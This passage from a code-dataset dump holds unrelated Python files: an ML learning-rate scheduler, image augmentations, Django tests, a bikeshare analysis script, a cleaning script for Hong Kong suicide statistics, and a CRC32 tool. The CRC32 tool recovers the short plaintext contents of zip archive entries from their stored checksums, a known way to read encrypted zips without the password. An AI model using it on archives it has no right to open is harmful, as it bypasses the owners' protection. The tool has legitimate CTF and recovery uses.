int(steps * phase_1_pct)\n        phase_2_steps = steps - phase_1_steps\n\n        self.phase_1_steps = phase_1_steps\n        self.phase_2_steps = phase_2_steps\n        self.phase = 0\n        self.step = 0\n\n        self.phases = [[CosineAnnealer(lr_min, lr_max, phase_1_steps),\n                        CosineAnnealer(mom_max, mom_min, phase_1_steps)],\n                       [CosineAnnealer(lr_max, final_lr, phase_2_steps),\n                        CosineAnnealer(mom_min, mom_max, phase_2_steps)]]\n\n        self.lrs = []\n        self.moms = []\n\n    def on_train_begin(self, logs=None):\n        self.phase = 0\n        self.step = 0\n\n        self.set_lr(self.lr_schedule().start)\n        self.set_momentum(self.mom_schedule().start)\n\n    def on_train_batch_begin(self, batch, logs=None):\n        self.lrs.append(self.get_lr())\n        self.moms.append(self.get_momentum())\n\n    def on_train_batch_end(self, batch, logs=None):\n        self.step += 1\n        if self.step >= self.phase_1_steps:\n            self.phase = 1\n\n        self.set_lr(self.lr_schedule().step())\n        self.set_momentum(self.mom_schedule().step())\n\n    def get_lr(self):\n        try:\n            return tf.keras.backend.get_value(self.model.optimizer.lr)\n        except AttributeError:\n            return None\n\n    def get_momentum(self):\n        try:\n            return tf.keras.backend.get_value(self.model.optimizer.momentum)\n        except AttributeError:\n            return None\n\n    def set_lr(self, lr):\n        try:\n            tf.keras.backend.set_value(self.model.optimizer.lr, lr)\n        except AttributeError:\n            pass  # ignore\n\n    def set_momentum(self, mom):\n        try:\n            tf.keras.backend.set_value(self.model.optimizer.momentum, mom)\n        except AttributeError:\n            pass  # ignore\n\n    def lr_schedule(self):\n        return self.phases[self.phase][0]\n\n    def mom_schedule(self):\n        return self.phases[self.phase][1]\n\n    def on_train_end(self, logs=None):\n        one_cycle_dict = {'LearningRate': self.lrs, 'Momentum': self.moms}\n        one_cycle_df = pd.DataFrame(one_cycle_dict)\n        plot_path = os.path.join(ConfigObj.Path_Parent_Dir, 'src_train_model', 'plots_logs')\n        one_cycle_csv_path = os.path.join(plot_path, \"one_cycle_log.csv\")\n        one_cycle_df.to_csv(one_cycle_csv_path, index=False)\n        print('Exit: on_train_end')\n        #OneCycleScheduler.plot_once_cycle_frm_csv(one_cycle_csv_path)\n\n    @staticmethod\n    def plot_once_cycle_frm_csv(one_cycle_csv_path):\n        plot_path = os.path.join(ConfigObj.Path_Parent_Dir, 'src_train_model', 'plots_logs')\n        one_cycle_df = pd.read_csv(one_cycle_csv_path)\n        ##accuracies\n        lst_learning_rate = one_cycle_df['LearningRate'].tolist()\n        lst_momentum = one_cycle_df['Momentum'].tolist()\n\n        ax = plt.subplot(1, 2, 1)\n        ax.plot(lst_learning_rate)\n        ax.set_title('Learning Rate')\n        ax = plt.subplot(1, 2, 2)\n        ax.plot(lst_momentum)\n        ax.set_title('Momentum')\n        once_cycle_plot_path = os.path.join(plot_path, 'lr-momentum-steps.png')\n        plt.savefig(once_cycle_plot_path)\n\n##plot_hist_frm_csv('plots_logs/base_hist_log.csv', 'TRY')\n#OneCycleScheduler.plot_once_cycle_frm_csv('/home/shunya/PythonProjects/Aptos2019/src_train_model/plots_logs/one_cycle_log.csv')","repo_name":"kumarvis/cassava-leaf-disease-classification","sub_path":"callbacks/one_cycle_policy.py","file_name":"one_cycle_policy.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31917089603","text":"# time: CRC32_Tool\n# author: iami233\n# time: 2023/11/01\n# version: v1.0.0\nfrom tqdm import tqdm\nfrom zlib import crc32\nfrom rich.table import Table\nfrom rich.style import Style\nfrom itertools import product\nfrom rich.console import Console\nimport os, re, string , zipfile, argparse, subprocess\n\nconsole = Console()\nbaseDir = os.path.dirname(os.path.abspath(__file__))\nPATTERNS = [\"4 bytes: (.*?) {\", \"5 bytes: (.*?) \\(\", \"6 bytes: (.*?) \\(\"]\nnolist = {}\ncount = 0\n\ndef crackCrc(secret, size):\n    global count\n    count += 1\n    command = f'python \"{os.path.join(\"src\", \"crc32.py\")}\" reverse {secret}'\n    result = subprocess.run(command, shell=True, capture_output=True, text=True).stdout\n    result = re.findall(PATTERNS[size - 4], result)\n    if not result:\n        nolist[count] = secret\n    return result\n\ndef lowCrackCrc(secret):\n    dic = string.ascii_letters + string.digits + string.punctuation + ' '\n    for i in range(1, 6):\n        for res_char in product(dic, repeat=i):\n            s = ''.join(res_char)\n            if secret == (crc32(bytes(s, 'ascii')) & 0xffffffff):\n                return s\n    return None\n\ndef getCrc32(fileName):\n    crcSizeDict = {}\n    with zipfile.ZipFile(fileName, 'r') as zipFile:\n        for fileInfo in sorted(zipFile.infolist(), key=lambda f: f.filename):\n            size = fileInfo.file_size\n            file = fileInfo.filename\n            crc = hex(fileInfo.CRC)\n            if crc != '0x0':\n                crcSizeDict[file] = crc, size\n    return crcSizeDict\n\ndef processFiles(fileDict):\n    results = {}\n    for secret, size in fileDict.items():\n        plainText = []\n        if 4 <= size <= 6:\n            plainText = crackCrc(secret, size)\n        elif 1 <= size <= 3:\n            plainText = lowCrackCrc(int(secret, 16))\n        results[secret] = plainText\n    return results\n\ndef processArgs():\n    parser = argparse.ArgumentParser(description=\"CRC32 Hash Cracker\")\n    parser.add_argument(\"-f\", \"--filename\", help=\"Specify the filename to process\")\n    args = parser.parse_args()\n    if not args.filename:\n        console.print(\"Please provide a filename using the -f or --filename option.\", style=Style(color=\"red\"))\n        return None\n    return args.filename\n\ndef getFileAndDetailLists(crcSizeDict):\n    fileList = {}\n    detailList = {}\n    for key, value in crcSizeDict.items():\n        fileList[key] = value[0]\n        detailList[value[0]] = value[1]\n    return fileList, detailList\n\ndef printTableAndResult(data, fileList, nolist):\n    table = Table(show_header=True)\n    table.add_column('FILE', style=Style(color=\"green\"))\n    table.add_column(\"CRC32\", style=Style(color=\"blue\"))\n    table.add_column(\"TEXT\", style=Style(color=\"cyan\"))\n\n    for crc32, text in data.items():\n        file = next((file for file, value in fileList.items() if crc32 == value), None)\n        if isinstance(text, list):\n            text = \",\".join(text)\n        else:\n            text = \"\".join(text)\n        table.add_row(file, crc32, text)\n\n    console.print(table)\n\n    if nolist:\n        all_values = ', '.join(nolist.values())\n        console.print(f\"CRC32 {all_values} have no plain text.\", style=Style(color=\"red\"))\n        userInput = input(\"Do you want to brute force the CRC32 hashes without plain text? (y/n): \")\n        if userInput.lower() == 'y':\n            for key, value in nolist.items():\n                console.print(f\"Brute forcing CRC32 hash {value}...\", style=Style(color=\"yellow\"))\n                crack = lowCrackCrc(int(value, 16))\n                console.print(f\"Brute forcing successful: {crack}\", style=Style(color=\"green\"))\n                data[value] = [crack]\n\n    data = {key: value for key, value in data.items() if value}\n    combinations = list(product(*data.values()))\n\n    if len(combinations) > 5 and combinations:\n        userInput = input(\"Do you want to write all combinations to dict.txt? (y/n): \")\n        if userInput.lower() == 'y':\n            with open('dict.txt', 'w') as f:\n                for i in tqdm(combinations, desc=\"Writing to dict.txt\"):\n                    print(''.join(i), file=f)\n            with open('output.txt' , 'w') as f:\n                print(data, file=f)\n            console.print('Write Success', style=Style(color=\"green\"))\n        else:\n            console.print(''.join(i), style=Style(color=\"red\"))\n    else:\n        result = ''.join(''.join(texts) for texts in data.values())\n        console.print(f'Result: {result}', style=Style(color=\"green\"))\n\ndef main():\n    filename = processArgs()\n    if not filename:\n        return\n    \n    try:\n        crcSizeDict = getCrc32(filename)\n        fileList, detailList = getFileAndDetailLists(crcSizeDict)\n        data = processFiles(detailList)\n        if not data:\n            console.print(\"No CRC32 hashes found in the ZIP file.\", style=Style(color=\"red\"))\n            return\n        printTableAndResult(data, fileList, nolist)\n\n    except Exception as e:\n        console.print(f\"An error occurred: {e}\", style=Style(color=\"red\"))\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"5ime/CRC32_Tool","sub_path":"crc32_tool.py","file_name":"crc32_tool.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"21726271986","text":"from typing import Any\n\nimport attr\nimport numpy as np\n\nfrom vkit.image.type import VImage, VImageKind\nfrom .opt import extract_mat_from_image, clip_mat_back_to_uint8\nfrom .interface import PhotometricDistortion\n\n\n@attr.define\nclass MeanShiftConfig:\n    delta: int\n\n\ndef mean_shift_image(config, image):\n    # Change mean.\n    mat = extract_mat_from_image(image, np.int16) + config.delta\n    mat = clip_mat_back_to_uint8(mat)\n    return attr.evolve(image, mat=mat)\n\n\nmean_shift = PhotometricDistortion(MeanShiftConfig, mean_shift_image)\n\n\n@attr.define\nclass StdShiftConfig:\n    scale: float\n\n\ndef std_shift_image(config, image):\n    # Change std while preserve mean.\n    assert config.scale > 0\n    mat = extract_mat_from_image(image, np.float32)\n\n    if mat.ndim == 2:\n        mean = np.mean(mat)\n    elif mat.ndim == 3:\n        mean = np.mean(mat.reshape(-1, mat.shape[-1]), axis=0)\n    else:\n        raise NotImplementedError()\n\n    mat = mat * config.scale - mean * (config.scale - 1)\n\n    mat = clip_mat_back_to_uint8(mat)\n    return attr.evolve(image, mat=mat)\n\n\nstd_shift = PhotometricDistortion(StdShiftConfig, std_shift_image)\n\n\n@attr.define\nclass ChannelPermutateConfig:\n    rnd_state: Any = None\n\n\ndef channel_permutate_image(config, image, rnd):\n    indices = rnd.permutation(image.num_channels)\n    mat = image.mat[:, :, indices]\n    return attr.evolve(image, mat=mat)\n\n\nchannel_permutate = PhotometricDistortion(ChannelPermutateConfig, channel_permutate_image)\n\n\n@attr.define\nclass HueShiftConfig:\n    delta: int\n\n\ndef hue_shift_image(config, image):\n    assert image.kind == VImageKind.HSV\n    mat = extract_mat_from_image(image, np.int16)\n\n    # Cyclic.\n    mat[:, :, 0] += config.delta\n    mat = mat % 256  # type: ignore\n    mat = mat.astype(np.uint8)\n\n    return attr.evolve(image, mat=mat)\n\n\nhue_shift = PhotometricDistortion(HueShiftConfig, hue_shift_image)\n\n\n@attr.define\nclass SaturationShiftConfig:\n    delta: int\n\n\ndef saturation_shift_image(config, image):\n    assert image.kind == VImageKind.HSV\n    mat = extract_mat_from_image(image, np.int16)\n    mat[:, :, 1] += config.delta\n    mat = clip_mat_back_to_uint8(mat)\n    return attr.evolve(image, mat=mat)\n\n\nsaturation_shift = PhotometricDistortion(SaturationShiftConfig, saturation_shift_image)\n\n\ndef debug():\n    from vkit.opt import get_data_folder\n    folder = get_data_folder(__file__)\n\n    rnd = np.random.RandomState(13370)\n\n    image = VImage.from_file(f'{folder}/Lenna.png')\n\n    config = MeanShiftConfig(delta=100)\n    mean_shift.distort_image(config, image).to_file(f'{folder}/mean_shift_p_100.png')\n\n    config = MeanShiftConfig(delta=-100)\n    mean_shift.distort_image(config, image).to_file(f'{folder}/mean_shift_m_100.png')\n\n    config = StdShiftConfig(scale=2)\n    std_shift.distort_image(config, image).to_file(f'{folder}/std_shift_2.png')\n\n    config = StdShiftConfig(scale=0.5)\n    std_shift.distort_image(config, image).to_file(f'{folder}/std_shift_0.5.png')\n\n    config = ChannelPermutateConfig()\n    channel_permutate.distort_image(config, image, rnd).to_file(f'{folder}/channel_permutate_0.png')\n    channel_permutate.distort_image(config, image, rnd).to_file(f'{folder}/channel_permutate_1.png')\n\n    image_hsv = image.to_hsv_image()\n\n    config = HueShiftConfig(delta=100)\n    hue_shift.distort_image(config, image_hsv).to_file(f'{folder}/hue_p_100.png')\n\n    config = HueShiftConfig(delta=-100)\n    hue_shift.distort_image(config, image_hsv).to_file(f'{folder}/hue_m_100.png')\n\n    config = SaturationShiftConfig(delta=100)\n    saturation_shift.distort_image(config, image_hsv).to_file(f'{folder}/saturation_p_100.png')\n\n    config = SaturationShiftConfig(delta=-100)\n    saturation_shift.distort_image(config, image_hsv).to_file(f'{folder}/saturation_m_100.png')\n","repo_name":"Yuri-x/vkit","sub_path":"vkit/augmentation/photometric_distortion/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33438768707","text":"from django.test import TestCase, Client\nfrom django.urls import reverse\nfrom django.contrib.auth.models import User\n\nclass TestMemoryListView(TestCase):\n    \"\"\"\n    Purpose:\n        Tests the processing of the user-specific memory list view\n\n    Methods:\n        test_memory_list_view_redirects_unauthenticated_users\n\n    Author: Sam Phillips <samcphillips.com>\n    \"\"\"\n    def test_memory_list_view_redirects_unauthenticated_users(self):\n        response = self.client.get(reverse('memory_trunk_app:memory_list', args=(1,)))\n        self.assertTemplateUsed('memory_list.html')\n        self.assertEqual(response.status_code, 302)\n\n    def test_public_memory_list_view_renders_properly(self):\n        response = self.client.get(reverse('memory_trunk_app:public_memory_list'))\n        self.assertContains(response, 'Community Memories')\n        self.assertEqual(response.status_code, 200)","repo_name":"samphillips1879/Memory-Trunk","sub_path":"memory_trunk/memory_trunk_app/tests/test_memory_list_view.py","file_name":"test_memory_list_view.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39232929174","text":"import datetime\nimport pandas as pd\nimport calendar\nfrom tkinter import *\nimport sys\nfrom sys import executable\nimport os\nimport runpy\nfrom subprocess import Popen, CREATE_NEW_CONSOLE\n\ndef restart_program():\n    #Upon restart, the function opens in a console, so that all variables are flushed and input can be given anew.\n    Popen([executable, 'bikeshare.py'], creationflags = CREATE_NEW_CONSOLE)\n\n#initiate tkinter window\nroot = Tk()\n\n#Creating Drop-Down Menu1\nOption1 = [\n\"Chicago\",\n\"New York\",\n\"Washington\"]\n\n#Create Drop-Down Menu2\nOption2 = [\n\"Month\",\n\"Day\",\n\"all\"\n]\n\nment = StringVar(root)\nment.set(Option1[0])\nment2 = StringVar(root)\nment2.set(Option2[0])\n\ndef m_hello(var):\n    global root\n    root.destroy()\n    mtext=ment.get()\n    mtext2=ment2.get()\n    #printing the options, which have been chosen in tkinter window to console\n    print('You have chosen ' + ment.get() + ' as City. Your results will be shown in a CSV.')\n    print('You have chosen ' + ment2.get() + ' as time range. Your results will be shown in a CSV.')\n\n#define content of tkinter window\nroot.title('Bikeshare Data Exploration')\nlabel=Label(root,text='\\nHello, let\\'s explore some US Bikeshare data!\\n'\n        'Would you like to see data for Chicago, New York or Washington?\\n').pack()\nw = OptionMenu(root, ment, *Option1)\nw.pack()\nlabel2=Label(root,text='\\nWould you like to filter the data by month, day or do you want to see all data.\\n'\n'Please type month for filtering on\\'').pack()\nw2 = OptionMenu(root, ment2, *Option2)\nw2.pack()\nmbutton=Button(root, text='Go!', command=lambda: m_hello(ment)).pack()\n#define placement and size of tkinter window.\nroot.geometry('500x250+180+180')\n#do not display x button of tkinter window.\nroot.overrideredirect(True)\nroot.mainloop()\n\ndef get_city():\n    '''This def takes the input which is given via the tkinter gui and returns the matching filename.'''\n    city = ''\n    while city.lower() not in ['chicago','new york','washington']:\n        city = ment.get()\n        if city.lower() == 'chicago':\n            return 'chicago.csv'\n        elif city.lower() == 'new york':\n            return 'new_york_city.csv'\n        elif city.lower() == 'washington':\n            return 'washington.csv'\n        else:\n            print('\\n Sorry, i couldn\\'t understand your input. Please type in eather Chicago, New York or Washington')\n\ndef get_time_period():\n    '''This def takes the input which is given via the tkinter gui and returns the matching filter.'''\n    time_period = ''\n    while time_period.lower() not in ['month','day','all']:\n        time_period = ment2.get()\n        if time_period.lower() == 'month':\n            return ['month', get_month()]\n        if time_period.lower() == 'day':\n            return ['day', get_day()]\n        if time_period.lower() == 'all':\n            return ['all','no filter']\n        else:\n            print('\\nI\\'m sorry, I\\'m not sure which time period you\\'re trying to filter by. Let\\'s try again.')\n\ndef get_month():\n    '''This function asks the user to choose a month and returns it.'''\n    month = ''\n    while month.lower() not in ['january','february','march','april','may','june']:\n        month = input('\\nWhich month? January, February, March, April, May, or June?\\n'\n        'Your results will be printed to a CSV.\\n').title()\n        if month.lower() == 'january':\n            return '01'\n        elif month.lower() == 'february':\n            return '02'\n        elif month.lower() == 'march':\n            return '03'\n        elif month.lower() == 'april':\n            return '04'\n        elif month.lower() == 'may':\n            return '05'\n        elif month.lower() == 'june':\n            return '06'\n        else:\n            print(\"\\nI'm sorry, I'm not sure which month you're trying to filter by. Let's try again.\\n\")\n\ndef get_day():\n    '''This function asks the user to choose a day of week and returns it.'''\n    day_of_week = ''\n    while day_of_week.lower() not in ['monday','tuesday','wednesday','thursday','friday','saturday','sunday']:\n        day_of_week = input('\\nWhich day of the week? Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, or Sunday?\\n'\n        'Your results will be printed to a CSV.\\n')\n    if day_of_week.lower() == 'monday':\n        return 0\n    elif day_of_week.lower() == 'tuesday':\n        return 1\n    elif day_of_week.lower() == 'wednesday':\n        return 2\n    elif day_of_week.lower() == 'thursday':\n        return 3\n    elif day_of_week.lower() == 'friday':\n        return 4\n    elif day_of_week.lower() == 'saturday':\n        return 5\n    elif day_of_week.lower() == 'sunday':\n        return 6\n    else:\n        print('\\nI\\'m sorry, I\\'m not sure which day of the week you\\'re trying to filter by. Let\\'s try again.\\n')\n\ndef popular_month(df):\n    '''This function returns the most common month by start time.'''\n    trips_per_month = df.groupby('Month')['Start Time'].count()\n    return \"Most common month by start time: \" + calendar.month_name[int(trips_per_month.sort_values(ascending=False).index[0])]\n\n\ndef popular_day(df):\n    '''This function returns the most common day by start time.\n    '''\n    trips_per_day = df.groupby('Day of Week')['Start Time'].count()\n    return \"Most common day of the week: \" + calendar.day_name[int(trips_per_day.sort_values(ascending=False).index[0])]\n\n\ndef popular_hour(df):\n    '''This function returns the most common hour by start time.\n    '''\n    trips_per_hour = df.groupby('Hour of Day')['Start Time'].count()\n    most_com_hour = trips_per_hour.sort_values(ascending=False).index[0]\n    d = datetime.datetime.strptime(most_com_hour, \"%H\")\n    return \"Most common start hour: \" + d.strftime(\"%I %p\")\n\ndef trip_duration(df):\n    '''This function returns the total and the average travel time.'''\n    total_trip_duration = df['Trip Duration'].sum()\n    avg_trip_duration = df['Trip Duration'].mean()\n    m, s = divmod(total_trip_duration, 60)\n    h, m = divmod(m, 60)\n    d, h = divmod(h, 24)\n    y, d = divmod(d, 365)\n    total_trip_duration = \"\\nTotal travel time: %d years %02d days %02d hours %02d minutes %02d seconds\" % (y, d, h, m, s)\n    m, s = divmod(avg_trip_duration, 60)\n    h, m = divmod(m, 60)\n    avg_trip_duration = \"Average travel time: %d hours %02d minutes %02d seconds\" % (h, m, s)\n    return [total_trip_duration, avg_trip_duration]\n\ndef popular_stations(df):\n    '''This function retunrs the most common start and end station.'''\n    start_station_counts = df.groupby('Start Station')['Start Station'].count()\n    end_station_counts = df.groupby('End Station')['End Station'].count()\n    sorted_start_stations = start_station_counts.sort_values(ascending=False)\n    sorted_end_stations = end_station_counts.sort_values(ascending=False)\n    total_trips = df['Start Station'].count()\n    most_popular_start_station = \"\\nMost common start station: \" + sorted_start_stations.index[0] + \" (\" + str(sorted_start_stations[0]) + \" trips, \" + '{0:.2f}%'.format(((sorted_start_stations[0]/total_trips) * 100)) + \" of trips)\"\n    most_popular_end_station = \"Most common end station: \" + sorted_end_stations.index[0] + \" (\" + str(sorted_end_stations[0]) + \" trips, \" + '{0:.2f}%'.format(((sorted_end_stations[0]/total_trips) * 100)) + \" of trips)\"\n    return [most_popular_start_station, most_popular_end_station]\n\n\ndef popular_trip(df):\n    '''This function returns the most common trip, meaning the most common combination of start station and end station.'''\n    trip_counts = df.groupby(['Start Station', 'End Station'])['Start Time'].count()\n    sorted_trip_stations = trip_counts.sort_values(ascending=False)\n    total_trips = df['Start Station'].count()\n    return \"Most common trip: \" + \"\\n  Start station: \" + str(sorted_trip_stations.index[0][0]) + \"\\n  End station: \" + str(sorted_trip_stations.index[0][1]) + \"\\n  (\" + str(sorted_trip_stations[0]) +  \" trips, \" + '{0:.2f}%'.format(((sorted_trip_stations[0]/total_trips) * 100)) + \" of trips)\"\n\n\ndef users(df):\n    '''This function retunrs the number of trips by user type.'''\n    user_type = df.groupby('User Type')['User Type'].count()\n    return user_type\n\ndef most_popular_user(df):\n    '''This function returns the most common user type and calculates data for it.'''\n    user_counts = df.groupby('User Type')['User Type'].count()\n    sorted_user_counts = user_counts.sort_values(ascending=False)\n    total_users = df['User Type'].count()\n    most_common_user = \"\\nMost common user type: \" + sorted_user_counts.index[0] + \" (\" + str(sorted_user_counts[0]) + \" trips, \" + '{0:.2f}%'.format(((sorted_user_counts[0]/total_users) * 100)) + \" of trips)\"\n    return [most_common_user]\n\ndef most_popular_gender(df):\n    '''This function returns the most common user type and calculates data for it.'''\n    gender_counts = df.groupby('Gender')['Gender'].count()\n    sorted_gender_counts = gender_counts.sort_values(ascending=False)\n    total_genders = df['Gender'].count()\n    most_common_gender = \"\\nMost common gender: \" + sorted_gender_counts.index[0] + \" (\" + str(sorted_gender_counts[0]) + \" trips, \" + '{0:.2f}%'.format(((sorted_gender_counts[0]/total_genders) * 100)) + \" of trips)\"\n    return [most_common_gender]\n\ndef gender(df):\n    '''This function returns the number of trips by gender.'''\n    count_gender = df.groupby('Gender')['Gender'].count()\n    return count_gender\n\n\ndef birth_years(df):\n    '''This function returns the the oldest, the youngest and the most common birth year.'''\n    earliest_birth_year = \"Earliest birth year: \" + str(int(df['Birth Year'].min()))\n    most_recent_birth_year = \"Most recent birth year: \" + str(int(df['Birth Year'].max()))\n    birth_year_counts = df.groupby('Birth Year')['Birth Year'].count()\n    sorted_birth_years = birth_year_counts.sort_values(ascending=False)\n    total_trips = df['Birth Year'].count()\n    most_common_birth_year = \"Most common birth year: \" + str(int(sorted_birth_years.index[0])) + \" (\" + str(sorted_birth_years.iloc[0]) + \" trips, \" + '{0:.2f}%'.format(((sorted_birth_years.iloc[0]/total_trips) * 100)) + \" of trips)\"\n    return [earliest_birth_year, most_recent_birth_year, most_common_birth_year]\n\n\ndef display_data(df, current_line):\n    '''This function asks the user, if he would like to see 20 more lines of data. If the users choose yes, it will display 20 new lines of data and then ask anew, if he would like to see more. If not, it will jump back the function returns and the user will be ask to choose what city he wants to see data for.'''\n    display = input('\\nWould you like to dive deeper and see more data?'\n                    ' If so, please type \\'yes\\' or \\'no\\'.\\n'\n                    'Please note that this data is not printed to your CSV but to the console.\\n')\n    display = display.lower()\n    if display == 'yes' or display == 'y':\n        print(df.iloc[current_line:current_line+20])\n        current_line += 20\n        return display_data(df, current_line)\n    if display == 'no' or display == 'n':\n        return\n    else:\n        print('\\nI\\'m sorry. I didn\\'t understand your input. If you would like to see more, please type yes, if not, please type no\\n')\n        return display_data(df, current_line)\n\n\ndef statistics():\n    '''The functions listed below are responsible for calculating and printing statistic about the city, time period and user, depending an the users input'''\n\n    '''Depending on the users input, this functions filts the data by city (Chicago, New York, Washington)'''\n    city = get_city()\n    city_df = pd.read_csv(city)\n\n    def get_day_of_week(str_date):\n        '''This function is used for parsing the dates and at the end, returning integer values for a week day.'''\n        date_obj = datetime.date(int(str_date[0:4]), int(str_date[5:7]), int(str_date[8:10]))\n        return date_obj.weekday()\n    city_df['Day of Week'] = city_df['Start Time'].apply(get_day_of_week)\n    city_df['Month'] = city_df['Start Time'].str[5:7]\n    city_df['Hour of Day'] = city_df['Start Time'].str[11:13]\n\n    '''This function is used to filter the data by the time period the user has specified.'''\n    time_period = get_time_period()\n    filter_period = time_period[0]\n    filter_period_value = time_period[1]\n    filter_period_label = 'No filter'\n\n    if filter_period == 'all':\n        filtered_df = city_df\n    elif filter_period == 'month':\n        filtered_df = city_df.loc[city_df['Month'] == filter_period_value]\n        filter_period_label = calendar.month_name[int(filter_period_value)]\n    elif filter_period == 'day':\n        filtered_df = city_df.loc[city_df['Day of Week'] == filter_period_value]\n        filter_period_label = calendar.day_name[int(filter_period_value)]\n\n# This fd function is responsible for passing the defined data to a CSV file, which will be stored in the same folder as the python script.\n    fd = open(city[:-4].lower().replace(\"_\", \"-\") + '-' + filter_period_label.lower()+\".csv\",'w')\n    old_stdout = sys.stdout\n    sys.stdout = fd\n    #print header information\n    print('\\n')\n    print(city[:-4].upper().replace(\"_\", \" \") + ' - ' + filter_period_label.upper())\n    print('-----------')\n    print('-----------')\n    print('This data is calculated based on your input:\\n')\n\n    print('Total trips: ' + \"{:,}\".format(filtered_df['Start Time'].count()))\n\n    if filter_period == 'none' or filter_period == 'day':\n        print(popular_month(filtered_df))\n\n    if filter_period == 'none' or filter_period == 'month':\n        print(popular_day(filtered_df))\n\n    #print popular hour\n    print(popular_hour(filtered_df))\n\n    #print trip duration\n    trip_duration_stats = trip_duration(filtered_df)\n    print(trip_duration_stats[0])\n    print(trip_duration_stats[1])\n\n    #print most popular stations.\n    most_popular_stations = popular_stations(filtered_df)\n    print(most_popular_stations[0])\n    print(most_popular_stations[1])\n\n    #print most popular trips\n    print(popular_trip(filtered_df))\n\n    #print data for the most popular user type. Definite numbers and %.\n    most_popular_users = most_popular_user(filtered_df)\n    print(most_popular_users[0])\n    print('')\n    print(users(filtered_df))\n\n    #only print the following data if source is Chicago or New York CSV, as this data is missing for washington.\n    if city == 'chicago.csv' or city == 'new_york_city.csv':\n        #print data for the most popular user type. Definite numbers and %.\n        most_popular_genders = most_popular_gender(filtered_df)\n        print(most_popular_genders[0])\n        print('')\n        print(gender(filtered_df))\n\n        birth_years_data = birth_years(filtered_df)\n        print('')\n        print(birth_years_data[0])\n        print(birth_years_data[1])\n        print(birth_years_data[2])\n    #finish printing data to csv with the next three lines\n    sys.stdout = old_stdout\n    fd.close()\n    display_data(filtered_df, 0)\n\n    def restart_question():\n        '''Conditionally restarts the program based on the user's input\n        Args:\n            none.\n        Returns:\n        '''\n        restart = input('\\nWould you like to restart? Type \\'yes\\' or \\'no\\'. Upon typing no the program will be canceled.)\\n'\n        'If you choose \\'yes\\' a you will be able to start anew.\\n')\n        if restart.lower() == 'yes':\n            restart_program()\n        elif restart.lower() == 'no':\n            return\n        else:\n            print('\\nSorry, i wasn\\'t able to understand your input. Please type \\'yes\\' or \\'no\\n')\n        return restart_question()\n\n    restart_question()\nif __name__ == \"__main__\":\n    statistics()\n","repo_name":"riekematthias/data-analyst-nanodegree-udacity","sub_path":"P1_Explore_US_Bikeshare_Data/bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":15524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11643979735","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport os\r\nimport pandas as pd\r\n\r\n\r\nclass ExcelIO:\r\n    def __init__(self, df=None, path=None):\r\n        self.df = df\r\n        self.path = path\r\n\r\n    def import_csv(self):\r\n        self.path = os.path.dirname(os.path.abspath(__file__)) + \"/\"\r\n        self.df = pd.read_csv(self.path + \"2019年香港自殺資料統計 - 每日個案記錄.csv\", header=4)\r\n\r\n\r\nexcel = ExcelIO()\r\nexcel.import_csv()\r\n\r\n\r\nclass Reformer:\r\n    def __init__(self, df=None):\r\n        self.df = df\r\n\r\n    def drop_column(self):\r\n        self.df.drop(['Unnamed: 0', 'Unnamed: 1', 'Unnamed: 2', 'Unnamed: 4', 'Unnamed: 6', 'Unnamed: 10',\r\n                      'Unnamed: 11', 'Unnamed: 13', 'Unnamed: 14', 'Unnamed: 16', 'Unnamed: 17', 'Unnamed: 20',\r\n                      '傳送', '類別', 'Unnamed: 37', '報導來源'], axis=1, inplace=True)\r\n\r\n    def drop_possible_column(self):\r\n        self.df.drop(['Unnamed: 19', '緯度', '經度', 'Unnamed: 29',\r\n                      '原因2', '原因3', '地區', '街道 / 屋邨 / 建築',\r\n                      '門牌 / 樓宇 / 地點'], axis=1, inplace=True)\r\n\r\n    # ===== ===== ===== #\r\n    def rename_header(self):\r\n        self.df.rename(columns={'Unnamed: 5': 'Weekday', 'Unnamed: 25': 'Housing_or_not', 'Unnamed: 26': 'Housing_Type',\r\n                                'Unnamed: 35': 'Suicide_Method'}, inplace=True)\r\n\r\n    def fill_for_na(self):\r\n        self.df[['星期六日及公眾假期', '星期日及勞工假期']] = \\\r\n            self.df[['星期六日及公眾假期', '星期日及勞工假期']].fillna(value='平日')\r\n\r\n    def fill_with_avg_age(self):\r\n        self.df['年齡'] = self.df['年齡'].apply(lambda x: int(x.replace(\"不詳\", \"44\")))\r\n        self.df['student'] = self.df['年齡'].apply(lambda x: 1 if x <= 22 else 0)\r\n\r\n    # =============== #\r\n    def update_date(self):\r\n        self.df['MM'] = self.df['個案發現日期'].apply(lambda x: x[x.find('年')+1: x.find('月')])\r\n        self.df['MM_Pos'] = self.df['個案發現日期'].apply(\r\n            lambda x: 'Start' if int(x[x.find('月') + 1: x.find('日')]) <= 10\r\n            else ('Middle' if int(x[x.find('月') + 1: x.find('日')]) <= 20 else 'End'))\r\n        self.df.drop(['個案發現日期'], axis=1, inplace=True)\r\n        self.df['protest'] = self.df['MM'].apply(lambda x: 1 if int(x) >= 6 else 0)\r\n\r\n    def change_weekday_as_int(self):\r\n        self.df['Weekday_int'] = self.df['Weekday'].\\\r\n            map({'星期日': 7, '星期一': 1, '星期二': 2, '星期三': 3, '星期四': 4, '星期五': 5, '星期六': 6})\r\n        self.df.drop(['Weekday'], axis=1, inplace=True)\r\n\r\n    def change_case_of_day_as_int(self):\r\n        self.df['Case_of_Day'] = self.df['當天'].apply(lambda x: int(''.join(filter(str.isdigit, x))))\r\n        self.df.drop(['當天'], axis=1, inplace=True)\r\n\r\n    def update_time(self):\r\n        self.df['Hour'] = self.df['時間'].apply(\r\n            lambda x: int(x[2: x.find('時')].replace('零', '0')) + 12\r\n            if x[:2] in ['下午', '傍晚', '晚上', '深夜', '黃昏'] else int(x[2: x.find('時')].replace('零', '0')))\r\n        self.df.drop(['時間'], axis=1, inplace=True)\r\n        